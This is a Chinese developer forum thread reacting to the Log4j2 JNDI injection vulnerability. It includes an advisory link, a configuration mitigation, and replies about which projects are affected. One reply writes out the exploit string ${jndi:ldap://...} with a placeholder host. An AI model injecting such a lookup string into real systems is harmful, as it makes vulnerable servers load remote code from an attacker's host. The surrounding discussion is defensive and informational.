颤抖吧 Javaer， log4j 史诗级漏洞

[eviladan0s]

漏洞预警： https://mp.weixin.qq.com/s/WBbAthHY36qY0w9e4UUl4Q

本质上是 log4j 里的 lookup 方法存在 jndi 注入（看图）： https://adan0s-1256533472.cos.ap-nanjing.myqcloud.com/uPic/20211210091200YOXTYd.jpg

百度、谷歌、苹果的框全都沦陷了： https://adan0s-1256533472.cos.ap-nanjing.myqcloud.com/uPic/202112100913225Wncr7.png

修复措施： 在 log4j2.component.properties 配置文件中设置 log4j2.formatMsgNoLookups=true ，可以暂时缓解避免受漏洞的影响。

之所以是史诗级，是因为不仅 log4j 使用范围广，而且日志数据你不知道流到哪里的 log4j 就会触发

[cheng6563]

看了下公司项目，屎山都是 log4j1 ，新一点的都是 slf4j 了，没用到 log4j2

[zmxnv123]

比较奇怪，为什么搜不到英语报道

[pkoukk]

@midasfree 一大早不错了，昨天晚上一点多被安全叫醒处理...

[Jwyt]

@cheng6563 slf4j 只是上层接口阿，得看实现层是什么吧

[aababc]

@qq1340691923 这个只是把问题掩盖了，并不是说 go 的程序就一定安全呀！

[tabris17]

用老版本反而躲过一劫

[dko]

@Archeb 不要迷之自信，低估了这个漏洞的危害。

[Archeb]

@dko 修肯定得修

[jwh199588]

有人复现了吗

[KevinBlandy]

幸好是内网应用，根本不慌。

[bipy]

哈人

[supuwoerc]


早上看见群里在问，好快啊，不过这老项目是 1.x 的，躲过一劫

[porr]

@supuwoerc 1.x 问题更多吧。。

[JDog]

@cheng6563 看到这条回复给我整乐了~

[wanguorui123]

${jndi:ldap://xxxxx.xxxx.xxxx/xxxxxx}

[lindas]

项目用的 elasticsearch 里面的 log4j 版本刚好在范围内，好在是内网

[kernelpanic]

哈哈哈哈哈苹果到现在还没修复

[aguesuka]

太离谱了, 这是一个日志框架不该出现的 bug. 也许正确的应对方法不是升级或是改什么配置, 而是不要使用 log4j2 和这个作者开发的其他框架.

[pigspy]

@conhost
是我记岔了？ logback 依赖了 log4j ?

[Crystal8899]

@aguesuka “这个作者”？？